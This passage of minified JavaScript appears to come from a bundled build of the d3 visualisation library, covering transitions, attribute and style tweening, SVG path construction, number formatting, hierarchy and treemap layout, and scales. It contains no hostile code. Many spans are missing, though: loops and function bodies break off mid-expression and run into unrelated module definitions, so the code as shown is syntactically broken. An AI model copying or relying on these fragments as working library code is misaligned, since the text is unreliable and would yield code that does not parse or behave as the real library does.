i=la(this,t),a=i.tween;if(a!==r){n=r=a;for(var s=0,l=n.length;s{"use strict";Ds();o(uSe,"tweenRemove");o(hSe,"tweenFunction");o(b_,"default");o(V0,"tweenValue")});function Dv(t,e){var r;return(typeof e=="number"?Wi:e instanceof xl?Ed:(r=xl(e))?(e=r,Ed):$0)(t,e)}var T_=N(()=>{"use strict";B0();z0();o(Dv,"default")});function fSe(t){return function(){this.removeAttribute(t)}}function dSe(t){return function(){this.removeAttributeNS(t.space,t.local)}}function pSe(t,e,r){var n,i=r+"",a;return function(){var s=this.getAttribute(t);return s===i?null:s===n?a:a=e(n=s,r)}}function mSe(t,e,r){var n,i=r+"",a;return function(){var s=this.getAttributeNS(t.space,t.local);return s===i?null:s===n?a:a=e(n=s,r)}}function gSe(t,e,r){var n,i,a;return function(){var s,l=r(this),u;return l==null?void this.removeAttribute(t):(s=this.getAttribute(t),u=l+"",s===u?null:s===n&&u===i?a:(i=u,a=e(n=s,l)))}}function ySe(t,e,r){var n,i,a;return function(){var s,l=r(this),u;return l==null?void this.removeAttributeNS(t.space,t.local):(s=this.getAttributeNS(t.space,t.local),u=l+"",s===u?null:s===n&&u===i?a:(i=u,a=e(n=s,l)))}}function w_(t,e){var r=sc(t),n=r==="transform"?m_:Dv;return this.attrTween(t,typeof e=="function"?(r.local?ySe:gSe)(r,n,V0(this,"attr."+t,e)):e==null?(r.local?dSe:fSe)(r):(r.local?mSe:pSe)(r,n,e))}var mW=N(()=>{"use strict";z0();yl();_v();T_();o(fSe,"attrRemove");o(dSe,"attrRemoveNS");o(pSe,"attrConstant");o(mSe,"attrConstantNS");o(gSe,"attrFunction");o(ySe,"attrFunctionNS");o(w_,"default")});function vSe(t,e){return function(r){this.setAttribute(t,e.call(this,r))}}function xSe(t,e){return function(r){this.setAttributeNS(t.space,t.local,e.call(this,r))}}function bSe(t,e){var r,n;function i(){var a=e.apply(this,arguments);return a!==n&&(r=(n=a)&&xSe(t,a)),r}return o(i,"tween"),i._value=e,i}function TSe(t,e){var r,n;function i(){var a=e.apply(this,arguments);return a!==n&&(r=(n=a)&&vSe(t,a)),r}return o(i,"tween"),i._value=e,i}function k_(t,e){var r="attr."+t;if(arguments.length<2)return(r=this.tween(r))&&r._value;if(e==null)return this.tween(r,null);if(typeof e!="function")throw new Error;var n=sc(t);return this.tween(r,(n.local?bSe:TSe)(n,e))}var gW=N(()=>{"use strict";yl();o(vSe,"attrInterpolate");o(xSe,"attrInterpolateNS");o(bSe,"attrTweenNS");o(TSe,"attrTween");o(k_,"default")});function wSe(t,e){return function(){Cv(this,t).delay=+e.apply(this,arguments)}}function kSe(t,e){return e=+e,function(){Cv(this,t).delay=e}}function E_(t){var e=this._id;return arguments.length?this.each((typeof t=="function"?wSe:kSe)(e,t)):Oi(this.node(),e).delay}var yW=N(()=>{"use strict";Ds();o(wSe,"delayFunction");o(kSe,"delayConstant");o(E_,"default")});function ESe(t,e){return function(){la(this,t).duration=+e.apply(this,arguments)}}function SSe(t,e){return e=+e,function(){la(this,t).duration=e}}function S_(t){var e=this._id;return arguments.length?this.each((typeof t=="function"?ESe:SSe)(e,t)):Oi(this.node(),e).duration}var vW=N(()=>{"use strict";Ds();o(ESe,"durationFunction");o(SSe,"durationConstant");o(S_,"default")});function CSe(t,e){if(typeof e!="function")throw new Error;return function(){la(this,t).ease=e}}function C_(t){var e=this._id;return arguments.length?this.each(CSe(e,t)):Oi(this.node(),e).ease}var xW=N(()=>{"use strict";Ds();o(CSe,"easeConstant");o(C_,"default")});function ASe(t,e){return function(){var r=e.apply(this,arguments);if(typeof r!="function")throw new Error;la(this,t).ease=r}}function A_(t){if(typeof t!="function")throw new Error;return this.each(ASe(this._id,t))}var bW=N(()=>{"use strict";Ds();o(ASe,"easeVarying");o(A_,"default")});function __(t){typeof t!="function"&&(t=N0(t));for(var e=this._groups,r=e.length,n=new Array(r),i=0;i{"use strict";yl();Cd();o(__,"default")});function D_(t){if(t._id!==this._id)throw new Error;for(var e=this._groups,r=t._groups,n=e.length,i=r.length,a=Math.min(n,i),s=new Array(n),l=0;l{"use strict";Cd();o(D_,"default")});function _Se(t){return(t+"").trim().split(/^|\s+/).every(function(e){var r=e.indexOf(".");return r>=0&&(e=e.slice(0,r)),!e||e==="start"})}function DSe(t,e,r){var n,i,a=_Se(e)?Cv:la;return function(){var s=a(this,t),l=s.on;l!==n&&(i=(n=l).copy()).on(e,r),s.on=i}}function L_(t,e){var r=this._id;return arguments.length<2?Oi(this.node(),r).on.on(t):this.each(DSe(r,t,e))}var kW=N(()=>{"use strict";Ds();o(_Se,"start");o(DSe,"onFunction");o(L_,"default")});function LSe(t){return function(){var e=this.parentNode;for(var r in this.__transition)if(+r!==t)return;e&&e.removeChild(this)}}function R_(){return this.on("end.remove",LSe(this._id))}var EW=N(()=>{"use strict";o(LSe,"removeFunction");o(R_,"default")});function N_(t){var e=this._name,r=this._id;typeof t!="function"&&(t=Ah(t));for(var n=this._groups,i=n.length,a=new Array(i),s=0;s{"use strict";yl();Cd();Ds();o(N_,"default")});function M_(t){var e=this._name,r=this._id;typeof t!="function"&&(t=R0(t));for(var n=this._groups,i=n.length,a=[],s=[],l=0;l{"use strict";yl();Cd();Ds();o(M_,"default")});function I_(){return new RSe(this._groups,this._parents)}var RSe,AW=N(()=>{"use strict";yl();RSe=yu.prototype.constructor;o(I_,"default")});function NSe(t,e){var r,n,i;return function(){var a=_h(this,t),s=(this.style.removeProperty(t),_h(this,t));return a===s?null:a===r&&s===n?i:i=e(r=a,n=s)}}function _W(t){return function(){this.style.removeProperty(t)}}function MSe(t,e,r){var n,i=r+"",a;return function(){var s=_h(this,t);return s===i?null:s===n?a:a=e(n=s,r)}}function ISe(t,e,r){var n,i,a;return function(){var s=_h(this,t),l=r(this),u=l+"";return l==null&&(u=l=(this.style.removeProperty(t),_h(this,t))),s===u?null:s===n&&u===i?a:(i=u,a=e(n=s,l))}}function OSe(t,e){var r,n,i,a="style."+e,s="end."+a,l;return function(){var u=la(this,t),h=u.on,f=u.value[a]==null?l||(l=_W(e)):void 0;(h!==r||i!==f)&&(n=(r=h).copy()).on(s,i=f),u.on=n}}function O_(t,e,r){var n=(t+="")=="transform"?p_:Dv;return e==null?this.styleTween(t,NSe(t,n)).on("end.style."+t,_W(t)):typeof e=="function"?this.styleTween(t,ISe(t,n,V0(this,"style."+t,e))).each(OSe(this._id,t)):this.styleTween(t,MSe(t,n,e),r).on("end.style."+t,null)}var DW=N(()=>{"use strict";z0();yl();Ds();_v();T_();o(NSe,"styleNull");o(_W,"styleRemove");o(MSe,"styleConstant");o(ISe,"styleFunction");o(OSe,"styleMaybeRemove");o(O_,"default")});function PSe(t,e,r){return function(n){this.style.setProperty(t,e.call(this,n),r)}}function BSe(t,e,r){var n,i;function a(){var s=e.apply(this,arguments);return s!==i&&(n=(i=s)&&PSe(t,s,r)),n}return o(a,"tween"),a._value=e,a}function P_(t,e,r){var n="style."+(t+="");if(arguments.length<2)return(n=this.tween(n))&&n._value;if(e==null)return this.tween(n,null);if(typeof e!="function")throw new Error;return this.tween(n,BSe(t,e,r??""))}var LW=N(()=>{"use strict";o(PSe,"styleInterpolate");o(BSe,"styleTween");o(P_,"default")});function FSe(t){return function(){this.textContent=t}}function $Se(t){return function(){var e=t(this);this.textContent=e??""}}function B_(t){return this.tween("text",typeof t=="function"?$Se(V0(this,"text",t)):FSe(t==null?"":t+""))}var RW=N(()=>{"use strict";_v();o(FSe,"textConstant");o($Se,"textFunction");o(B_,"default")});function zSe(t){return function(e){this.textContent=t.call(this,e)}}function GSe(t){var e,r;function n(){var i=t.apply(this,arguments);return i!==r&&(e=(r=i)&&zSe(i)),e}return o(n,"tween"),n._value=t,n}function F_(t){var e="text";if(arguments.length<1)return(e=this.tween(e))&&e._value;if(t==null)return this.tween(e,null);if(typeof t!="function")throw new Error;return this.tween(e,GSe(t))}var NW=N(()=>{"use strict";o(zSe,"textInterpolate");o(GSe,"textTween");o(F_,"default")});function $_(){for(var t=this._name,e=this._id,r=b5(),n=this._groups,i=n.length,a=0;a{"use strict";Cd();Ds();o($_,"default")});function z_(){var t,e,r=this,n=r._id,i=r.size();return new Promise(function(a,s){var l={value:s},u={value:o(function(){--i===0&&a()},"value")};r.each(function(){var h=la(this,n),f=h.on;f!==t&&(e=(t=f).copy(),e._.cancel.push(l),e._.interrupt.push(l),e._.end.push(u)),h.on=e}),i===0&&a()})}var IW=N(()=>{"use strict";Ds();o(z_,"default")});function is(t,e,r,n){this._groups=t,this._parents=e,this._name=r,this._id=n}function OW(t){return yu().transition(t)}function b5(){return++VSe}var VSe,Tu,Cd=N(()=>{"use strict";yl();mW();gW();yW();vW();xW();bW();TW();wW();kW();EW();SW();CW();AW();DW();LW();RW();NW();MW();_v();IW();VSe=0;o(is,"Transition");o(OW,"transition");o(b5,"newId");Tu=yu.prototype;is.prototype=OW.prototype={constructor:is,select:N_,selectAll:M_,selectChild:Tu.selectChild,selectChildren:Tu.selectChildren,filter:__,merge:D_,selection:I_,transition:$_,call:Tu.call,nodes:Tu.nodes,node:Tu.node,size:Tu.size,empty:Tu.empty,each:Tu.each,on:L_,attr:w_,attrTween:k_,style:O_,styleTween:P_,text:B_,textTween:F_,remove:R_,tween:b_,delay:E_,duration:S_,ease:C_,easeVarying:A_,end:z_,[Symbol.iterator]:Tu[Symbol.iterator]}});function T5(t){return((t*=2)<=1?t*t*t:(t-=2)*t*t+2)/2}var PW=N(()=>{"use strict";o(T5,"cubicInOut")});var G_=N(()=>{"use strict";PW()});function HSe(t,e){for(var r;!(r=t.__transition)||!(r=r[e]);)if(!(t=t.parentNode))throw new Error(`transition ${e} not found`);return r}function V_(t){var e,r;t instanceof is?(e=t._id,t=t._name):(e=b5(),(r=USe).time=kv(),t=t==null?null:t+"");for(var n=this._groups,i=n.length,a=0;a{"use strict";Cd();Ds();G_();g5();USe={time:null,delay:0,duration:250,ease:T5};o(HSe,"inherit");o(V_,"default")});var FW=N(()=>{"use strict";yl();pW();BW();yu.prototype.interrupt=x_;yu.prototype.transition=V_});var w5=N(()=>{"use strict";FW()});var $W=N(()=>{"use strict"});var zW=N(()=>{"use strict"});var GW=N(()=>{"use strict"});function VW(t){return[+t[0],+t[1]]}function qSe(t){return[VW(t[0]),VW(t[1])]}function U_(t){return{type:t}}var c1t,u1t,h1t,f1t,d1t,p1t,UW=N(()=>{"use strict";w5();$W();zW();GW();({abs:c1t,max:u1t,min:h1t}=Math);o(VW,"number1");o(qSe,"number2");f1t={name:"x",handles:["w","e"].map(U_),input:o(function(t,e){return t==null?null:[[+t[0],e[0][1]],[+t[1],e[1][1]]]},"input"),output:o(function(t){return t&&[t[0][0],t[1][0]]},"output")},d1t={name:"y",handles:["n","s"].map(U_),input:o(function(t,e){return t==null?null:[[e[0][0],+t[0]],[e[1][0],+t[1]]]},"input"),output:o(function(t){return t&&[t[0][1],t[1][1]]},"output")},p1t={name:"xy",handles:["n","w","e","s","nw","ne","sw","se"].map(U_),input:o(function(t){return t==null?null:qSe(t)},"input"),output:o(function(t){return t},"output")};o(U_,"type")});var HW=N(()=>{"use strict";UW()});function qW(t){this._+=t[0];for(let e=1,r=t.length;e=0))throw new Error(`invalid digits: ${t}`);if(e>15)return qW;let r=10**e;return function(n){this._+=n[0];for(let i=1,a=n.length;i{"use strict";H_=Math.PI,q_=2*H_,Ad=1e-6,WSe=q_-Ad;o(qW,"append");o(YSe,"appendRound");_d=class{static{o(this,"Path")}constructor(e){this._x0=this._y0=this._x1=this._y1=null,this._="",this._append=e==null?qW:YSe(e)}moveTo(e,r){this._append`M${this._x0=this._x1=+e},${this._y0=this._y1=+r}`}closePath(){this._x1!==null&&(this._x1=this._x0,this._y1=this._y0,this._append`Z`)}lineTo(e,r){this._append`L${this._x1=+e},${this._y1=+r}`}quadraticCurveTo(e,r,n,i){this._append`Q${+e},${+r},${this._x1=+n},${this._y1=+i}`}bezierCurveTo(e,r,n,i,a,s){this._append`C${+e},${+r},${+n},${+i},${this._x1=+a},${this._y1=+s}`}arcTo(e,r,n,i,a){if(e=+e,r=+r,n=+n,i=+i,a=+a,a<0)throw new Error(`negative radius: ${a}`);let s=this._x1,l=this._y1,u=n-e,h=i-r,f=s-e,d=l-r,p=f*f+d*d;if(this._x1===null)this._append`M${this._x1=e},${this._y1=r}`;else if(p>Ad)if(!(Math.abs(d*u-h*f)>Ad)||!a)this._append`L${this._x1=e},${this._y1=r}`;else{let m=n-s,g=i-l,y=u*u+h*h,v=m*m+g*g,x=Math.sqrt(y),b=Math.sqrt(p),T=a*Math.tan((H_-Math.acos((y+p-v)/(2*x*b)))/2),S=T/b,w=T/x;Math.abs(S-1)>Ad&&this._append`L${e+S*f},${r+S*d}`,this._append`A${a},${a},0,0,${+(d*m>f*g)},${this._x1=e+w*u},${this._y1=r+w*h}`}}arc(e,r,n,i,a,s){if(e=+e,r=+r,n=+n,s=!!s,n<0)throw new Error(`negative radius: ${n}`);let l=n*Math.cos(i),u=n*Math.sin(i),h=e+l,f=r+u,d=1^s,p=s?i-a:a-i;this._x1===null?this._append`M${h},${f}`:(Math.abs(this._x1-h)>Ad||Math.abs(this._y1-f)>Ad)&&this._append`L${h},${f}`,n&&(p<0&&(p=p%q_+q_),p>WSe?this._append`A${n},${n},0,1,${d},${e-l},${r-u}A${n},${n},0,1,${d},${this._x1=h},${this._y1=f}`:p>Ad&&this._append`A${n},${n},0,${+(p>=H_)},${d},${this._x1=e+n*Math.cos(a)},${this._y1=r+n*Math.sin(a)}`)}rect(e,r,n,i){this._append`M${this._x0=this._x1=+e},${this._y0=this._y1=+r}h${n=+n}v${+i}h${-n}Z`}toString(){return this._}};o(WW,"path");WW.prototype=_d.prototype});var W_=N(()=>{"use strict";YW()});var XW=N(()=>{"use strict"});var jW=N(()=>{"use strict"});var KW=N(()=>{"use strict"});var QW=N(()=>{"use strict"});var ZW=N(()=>{"use strict"});var JW=N(()=>{"use strict"});var eY=N(()=>{"use strict"});function Y_(t){return Math.abs(t=Math.round(t))>=1e21?t.toLocaleString("en").replace(/,/g,""):t.toString(10)}function Dd(t,e){if((r=(t=e?t.toExponential(e-1):t.toExponential()).indexOf("e"))<0)return null;var r,n=t.slice(0,r);return[n.length>1?n[0]+n.slice(2):n,+t.slice(r+1)]}var Lv=N(()=>{"use strict";o(Y_,"default");o(Dd,"formatDecimalParts")});function bl(t){return t=Dd(Math.abs(t)),t?t[1]:NaN}var Rv=N(()=>{"use strict";Lv();o(bl,"default")});function X_(t,e){return function(r,n){for(var i=r.length,a=[],s=0,l=t[0],u=0;i>0&&l>0&&(u+l+1>n&&(l=Math.max(1,n-u)),a.push(r.substring(i-=l,i+l)),!((u+=l+1)>n));)l=t[s=(s+1)%t.length];return a.reverse().join(e)}}var tY=N(()=>{"use strict";o(X_,"default")});function j_(t){return function(e){return e.replace(/[0-9]/g,function(r){return t[+r]})}}var rY=N(()=>{"use strict";o(j_,"default")});function Nh(t){if(!(e=XSe.exec(t)))throw new Error("invalid format: "+t);var e;return new k5({fill:e[1],align:e[2],sign:e[3],symbol:e[4],zero:e[5],width:e[6],comma:e[7],precision:e[8]&&e[8].slice(1),trim:e[9],type:e[10]})}function k5(t){this.fill=t.fill===void 0?" ":t.fill+"",this.align=t.align===void 0?">":t.align+"",this.sign=t.sign===void 0?"-":t.sign+"",this.symbol=t.symbol===void 0?"":t.symbol+"",this.zero=!!t.zero,this.width=t.width===void 0?void 0:+t.width,this.comma=!!t.comma,this.precision=t.precision===void 0?void 0:+t.precision,this.trim=!!t.trim,this.type=t.type===void 0?"":t.type+""}var XSe,K_=N(()=>{"use strict";XSe=/^(?:(.)?([<>=^]))?([+\-( ])?([$#])?(0)?(\d+)?(,)?(\.\d+)?(~)?([a-z%])?$/i;o(Nh,"formatSpecifier");Nh.prototype=k5.prototype;o(k5,"FormatSpecifier");k5.prototype.toString=function(){return this.fill+this.align+this.sign+this.symbol+(this.zero?"0":"")+(this.width===void 0?"":Math.max(1,this.width|0))+(this.comma?",":"")+(this.precision===void 0?"":"."+Math.max(0,this.precision|0))+(this.trim?"~":"")+this.type}});function Q_(t){e:for(var e=t.length,r=1,n=-1,i;r0&&(n=0);break}return n>0?t.slice(0,n)+t.slice(i+1):t}var nY=N(()=>{"use strict";o(Q_,"default")});function J_(t,e){var r=Dd(t,e);if(!r)return t+"";var n=r[0],i=r[1],a=i-(Z_=Math.max(-8,Math.min(8,Math.floor(i/3)))*3)+1,s=n.length;return a===s?n:a>s?n+new Array(a-s+1).join("0"):a>0?n.slice(0,a)+"."+n.slice(a):"0."+new Array(1-a).join("0")+Dd(t,Math.max(0,e+a-1))[0]}var Z_,eD=N(()=>{"use strict";Lv();o(J_,"default")});function E5(t,e){var r=Dd(t,e);if(!r)return t+"";var n=r[0],i=r[1];return i<0?"0."+new Array(-i).join("0")+n:n.length>i+1?n.slice(0,i+1)+"."+n.slice(i+1):n+new Array(i-n.length+2).join("0")}var iY=N(()=>{"use strict";Lv();o(E5,"default")});var tD,aY=N(()=>{"use strict";Lv();eD();iY();tD={"%":o((t,e)=>(t*100).toFixed(e),"%"),b:o(t=>Math.round(t).toString(2),"b"),c:o(t=>t+"","c"),d:Y_,e:o((t,e)=>t.toExponential(e),"e"),f:o((t,e)=>t.toFixed(e),"f"),g:o((t,e)=>t.toPrecision(e),"g"),o:o(t=>Math.round(t).toString(8),"o"),p:o((t,e)=>E5(t*100,e),"p"),r:E5,s:J_,X:o(t=>Math.round(t).toString(16).toUpperCase(),"X"),x:o(t=>Math.round(t).toString(16),"x")}});function S5(t){return t}var sY=N(()=>{"use strict";o(S5,"default")});function rD(t){var e=t.grouping===void 0||t.thousands===void 0?S5:X_(oY.call(t.grouping,Number),t.thousands+""),r=t.currency===void 0?"":t.currency[0]+"",n=t.currency===void 0?"":t.currency[1]+"",i=t.decimal===void 0?".":t.decimal+"",a=t.numerals===void 0?S5:j_(oY.call(t.numerals,String)),s=t.percent===void 0?"%":t.percent+"",l=t.minus===void 0?"\u2212":t.minus+"",u=t.nan===void 0?"NaN":t.nan+"";function h(d){d=Nh(d);var p=d.fill,m=d.align,g=d.sign,y=d.symbol,v=d.zero,x=d.width,b=d.comma,T=d.precision,S=d.trim,w=d.type;w==="n"?(b=!0,w="g"):tD[w]||(T===void 0&&(T=12),S=!0,w="g"),(v||p==="0"&&m==="=")&&(v=!0,p="0",m="=");var k=y==="$"?r:y==="#"&&/[boxX]/.test(w)?"0"+w.toLowerCase():"",A=y==="$"?n:/[%p]/.test(w)?s:"",C=tD[w],R=/[defgprs%]/.test(w);T=T===void 0?6:/[gprs]/.test(w)?Math.max(1,Math.min(21,T)):Math.max(0,Math.min(20,T));function I(L){var E=k,D=A,_,O,M;if(w==="c")D=C(L)+D,L="";else{L=+L;var P=L<0||1/L<0;if(L=isNaN(L)?u:C(Math.abs(L),T),S&&(L=Q_(L)),P&&+L==0&&g!=="+"&&(P=!1),E=(P?g==="("?g:l:g==="-"||g==="("?"":g)+E,D=(w==="s"?lY[8+Z_/3]:"")+D+(P&&g==="("?")":""),R){for(_=-1,O=L.length;++_M||M>57){D=(M===46?i+L.slice(_+1):L.slice(_))+D,L=L.slice(0,_);break}}}b&&!v&&(L=e(L,1/0));var B=E.length+L.length+D.length,F=B>1)+E+L+D+F.slice(B);break;default:L=F+E+L+D;break}return a(L)}return o(I,"format"),I.toString=function(){return d+""},I}o(h,"newFormat");function f(d,p){var m=h((d=Nh(d),d.type="f",d)),g=Math.max(-8,Math.min(8,Math.floor(bl(p)/3)))*3,y=Math.pow(10,-g),v=lY[8+g/3];return function(x){return m(y*x)+v}}return o(f,"formatPrefix"),{format:h,formatPrefix:f}}var oY,lY,cY=N(()=>{"use strict";Rv();tY();rY();K_();nY();aY();eD();sY();oY=Array.prototype.map,lY=["y","z","a","f","p","n","\xB5","m","","k","M","G","T","P","E","Z","Y"];o(rD,"default")});function nD(t){return C5=rD(t),cc=C5.format,A5=C5.formatPrefix,C5}var C5,cc,A5,uY=N(()=>{"use strict";cY();nD({thousands:",",grouping:[3],currency:["$",""]});o(nD,"defaultLocale")});function _5(t){return Math.max(0,-bl(Math.abs(t)))}var hY=N(()=>{"use strict";Rv();o(_5,"default")});function D5(t,e){return Math.max(0,Math.max(-8,Math.min(8,Math.floor(bl(e)/3)))*3-bl(Math.abs(t)))}var fY=N(()=>{"use strict";Rv();o(D5,"default")});function L5(t,e){return t=Math.abs(t),e=Math.abs(e)-t,Math.max(0,bl(e)-bl(t))+1}var dY=N(()=>{"use strict";Rv();o(L5,"default")});var iD=N(()=>{"use strict";uY();K_();hY();fY();dY()});var pY=N(()=>{"use strict"});function jSe(t){var e=0,r=t.children,n=r&&r.length;if(!n)e=1;else for(;--n>=0;)e+=r[n].value;t.value=e}function aD(){return this.eachAfter(jSe)}var mY=N(()=>{"use strict";o(jSe,"count");o(aD,"default")});function sD(t,e){let r=-1;for(let n of this)t.call(e,n,++r,this);return this}var gY=N(()=>{"use strict";o(sD,"default")});function oD(t,e){for(var r=this,n=[r],i,a,s=-1;r=n.pop();)if(t.call(e,r,++s,this),i=r.children)for(a=i.length-1;a>=0;--a)n.push(i[a]);return this}var yY=N(()=>{"use strict";o(oD,"default")});function lD(t,e){for(var r=this,n=[r],i=[],a,s,l,u=-1;r=n.pop();)if(i.push(r),a=r.children)for(s=0,l=a.length;s{"use strict";o(lD,"default")});function cD(t,e){let r=-1;for(let n of this)if(t.call(e,n,++r,this))return n}var xY=N(()=>{"use strict";o(cD,"default")});function uD(t){return this.eachAfter(function(e){for(var r=+t(e.data)||0,n=e.children,i=n&&n.length;--i>=0;)r+=n[i].value;e.value=r})}var bY=N(()=>{"use strict";o(uD,"default")});function hD(t){return this.eachBefore(function(e){e.children&&e.children.sort(t)})}var TY=N(()=>{"use strict";o(hD,"default")});function fD(t){for(var e=this,r=KSe(e,t),n=[e];e!==r;)e=e.parent,n.push(e);for(var i=n.length;t!==r;)n.splice(i,0,t),t=t.parent;return n}function KSe(t,e){if(t===e)return t;var r=t.ancestors(),n=e.ancestors(),i=null;for(t=r.pop(),e=n.pop();t===e;)i=t,t=r.pop(),e=n.pop();return i}var wY=N(()=>{"use strict";o(fD,"default");o(KSe,"leastCommonAncestor")});function dD(){for(var t=this,e=[t];t=t.parent;)e.push(t);return e}var kY=N(()=>{"use strict";o(dD,"default")});function pD(){return Array.from(this)}var EY=N(()=>{"use strict";o(pD,"default")});function mD(){var t=[];return this.eachBefore(function(e){e.children||t.push(e)}),t}var SY=N(()=>{"use strict";o(mD,"default")});function gD(){var t=this,e=[];return t.each(function(r){r!==t&&e.push({source:r.parent,target:r})}),e}var CY=N(()=>{"use strict";o(gD,"default")});function*yD(){var t=this,e,r=[t],n,i,a;do for(e=r.reverse(),r=[];t=e.pop();)if(yield t,n=t.children)for(i=0,a=n.length;i{"use strict";o(yD,"default")});function U0(t,e){t instanceof Map?(t=[void 0,t],e===void 0&&(e=JSe)):e===void 0&&(e=ZSe);for(var r=new Nv(t),n,i=[r],a,s,l,u;n=i.pop();)if((s=e(n.data))&&(u=(s=Array.from(s)).length))for(n.children=s,l=u-1;l>=0;--l)i.push(a=s[l]=new Nv(s[l])),a.parent=n,a.depth=n.depth+1;return r.eachBefore(t6e)}function QSe(){return U0(this).eachBefore(e6e)}function ZSe(t){return t.children}function JSe(t){return Array.isArray(t)?t[1]:null}function e6e(t){t.data.value!==void 0&&(t.value=t.data.value),t.data=t.data.data}function t6e(t){var e=0;do t.height=e;while((t=t.parent)&&t.height<++e)}function Nv(t){this.data=t,this.depth=this.height=0,this.parent=null}var _Y=N(()=>{"use strict";mY();gY();yY();vY();xY();bY();TY();wY();kY();EY();SY();CY();AY();o(U0,"hierarchy");o(QSe,"node_copy");o(ZSe,"objectChildren");o(JSe,"mapChildren");o(e6e,"copyData");o(t6e,"computeHeight");o(Nv,"Node");Nv.prototype=U0.prototype={constructor:Nv,count:aD,each:sD,eachAfter:lD,eachBefore:oD,find:cD,sum:uD,sort:hD,path:fD,ancestors:dD,descendants:pD,leaves:mD,links:gD,copy:QSe,[Symbol.iterator]:yD}});function DY(t){if(typeof t!="function")throw new Error;return t}var LY=N(()=>{"use strict";o(DY,"required")});function H0(){return 0}function Ld(t){return function(){return t}}var RY=N(()=>{"use strict";o(H0,"constantZero");o(Ld,"default")});function vD(t){t.x0=Math.round(t.x0),t.y0=Math.round(t.y0),t.x1=Math.round(t.x1),t.y1=Math.round(t.y1)}var NY=N(()=>{"use strict";o(vD,"default")});function xD(t,e,r,n,i){for(var a=t.children,s,l=-1,u=a.length,h=t.value&&(n-e)/t.value;++l{"use strict";o(xD,"default")});function bD(t,e,r,n,i){for(var a=t.children,s,l=-1,u=a.length,h=t.value&&(i-r)/t.value;++l{"use strict";o(bD,"default")});function n6e(t,e,r,n,i,a){for(var s=[],l=e.children,u,h,f=0,d=0,p=l.length,m,g,y=e.value,v,x,b,T,S,w,k;fb&&(b=h),k=v*v*w,T=Math.max(b/k,k/x),T>S){v-=h;break}S=T}s.push(u={value:v,dice:m{"use strict";MY();IY();r6e=(1+Math.sqrt(5))/2;o(n6e,"squarifyRatio");OY=o((function t(e){function r(n,i,a,s,l){n6e(e,n,i,a,s,l)}return o(r,"squarify"),r.ratio=function(n){return t((n=+n)>1?n:1)},r}),"custom")(r6e)});function R5(){var t=OY,e=!1,r=1,n=1,i=[0],a=H0,s=H0,l=H0,u=H0,h=H0;function f(p){return p.x0=p.y0=0,p.x1=r,p.y1=n,p.eachBefore(d),i=[0],e&&p.eachBefore(vD),p}o(f,"treemap");function d(p){var m=i[p.depth],g=p.x0+m,y=p.y0+m,v=p.x1-m,x=p.y1-m;v{"use strict";NY();PY();LY();RY();o(R5,"default")});var FY=N(()=>{"use strict";_Y();BY()});var $Y=N(()=>{"use strict"});var zY=N(()=>{"use strict"});function Mh(t,e){switch(arguments.length){case 0:break;case 1:this.range(t);break;default:this.range(e).domain(t);break}return this}var Mv=N(()=>{"use strict";o(Mh,"initRange")});function no(){var t=new D0,e=[],r=[],n=TD;function i(a){let s=t.get(a);if(s===void 0){if(n!==TD)return n;t.set(a,s=e.push(a)-1)}return r[s%r.length]}return o(i,"scale"),i.domain=function(a){if(!arguments.length)return e.slice();e=[],t=new D0;for(let s of a)t.has(s)||t.set(s,e.push(s)-1);return i},i.range=function(a){return arguments.length?(r=Array.from(a),i):r.slice()},i.unknown=function(a){return arguments.length?(n=a,i):n},i.copy=function(){return no(e,r).unknown(n)},Mh.apply(i,arguments),i}var TD,wD=N(()=>{"use strict";Ch();Mv();TD=Symbol("implicit");o(no,"ordinal")});function q0(){var t=no().unknown(void 0),e=t.domain,r=t.range,n=0,i=1,a,s,l=!1,u=0,h=0,f=.5;delete t.unknown;function d(){var p=e().length,m=i{"use strict";Ch();Mv();wD();o(q0,"band")});function kD(t){return function(){return t}}var VY=N(()=>{"use strict";o(kD,"constants")});function ED(t){return+t}var UY=N(()=>{"use strict";o(ED,"number")});function W0(t){return t}function SD(t,e){return(e-=t=+t)?function(r){return(r-t)/e}:kD(isNaN(e)?NaN:.5)}function i6e(t,e){var r;return t>e&&(r=t,t=e,e=r),function(n){return Math.max(t,Math.min(e,n))}}function a6e(t,e,r){var n=t[0],i=t[1],a=e[0],s=e[1];return i2?s6e:a6e,u=h=null,d}o(f,"rescale");function d(p){return p==null||isNaN(p=+p)?a:(u||(u=l(t.map(n),e,r)))(n(s(p)))}return o(d,"scale"),d.invert=function(p){return s(i((h||(h=l(e,t.map(n),Wi)))(p)))},d.domain=function(p){return arguments.length?(t=Array.from(p,ED),f()):t.slice()},d.range=function(p){return arguments.length?(e=Array.from(p),f()):e.slice()},d.rangeRound=function(p){return e=Array.from(p),r=l5,f()},d.clamp=function(p){return arguments.length?(s=p?!0:W0,f()):s!==W0},d.interpolate=function(p){return arguments.length?(r=p,f()):r},d.unknown=function(p){return arguments.length?(a=p,d):a},function(p,m){return n=p,i=m,f()}}function Iv(){return o6e()(W0,W0)}var HY,CD=N(()=>{"use strict";Ch();z0();VY();UY();HY=[0,1];o(W0,"identity");o(SD,"normalize");o(i6e,"clamper");o(a6e,"bimap");o(s6e,"polymap");o(N5,"copy");o(o6e,"transformer");o(Iv,"continuous")});function AD(t,e,r,n){var i=L0(t,e,r),a;switch(n=Nh(n??",f"),n.type){case"s":{var s=Math.max(Math.abs(t),Math.abs(e));return n.precision==null&&!isNaN(a=D5(i,s))&&(n.precision=a),A5(n,s)}case"":case"e":case"g":case"p":case"r":{n.precision==null&&!isNaN(a=L5(i,Math.max(Math.abs(t),Math.abs(e))))&&(n.precision=a-(n.type==="e"));break}case"f":case"%":{n.precision==null&&!isNaN(a=_5(i))&&(n.precision=a-(n.type==="%")*2);break}}return cc(n)}var qY=N(()=>{"use strict";Ch();iD();o(AD,"tickFormat")});function l6e(t){var e=t.domain;return t.ticks=function(r){var n=e();return q3(n[0],n[n.length-1],r??10)},t.tickFormat=function(r,n){var i=e();return AD(i[0],i[i.length-1],r??10,n)},t.nice=function(r){r==null&&(r=10);var n=e(),i=0,a=n.length-1,s=n[i],l=n[a],u,h,f=10;for(l0;){if(h=lv(s,l,r),h===u)return n[i]=s,n[a]=l,e(n);if(h>0)s=Math.floor(s/h)*h,l=Math.ceil(l/h)*h;else if(h<0)s=Math.ceil(s*h)/h,l=Math.floor(l*h)/h;else break;u=h}return t},t}function Tl(){var t=Iv();return t.copy=function(){return N5(t,Tl())},Mh.apply(t,arguments),l6e(t)}var WY=N(()=>{"use strict";Ch();CD();Mv();qY();o(l6e,"linearish");o(Tl,"linear")});function _D(t,e){t=t.slice();var r=0,n=t.length-1,i=t[r],a=t[n],s;return a{"use strict";o(_D,"nice")});function En(t,e,r,n){function 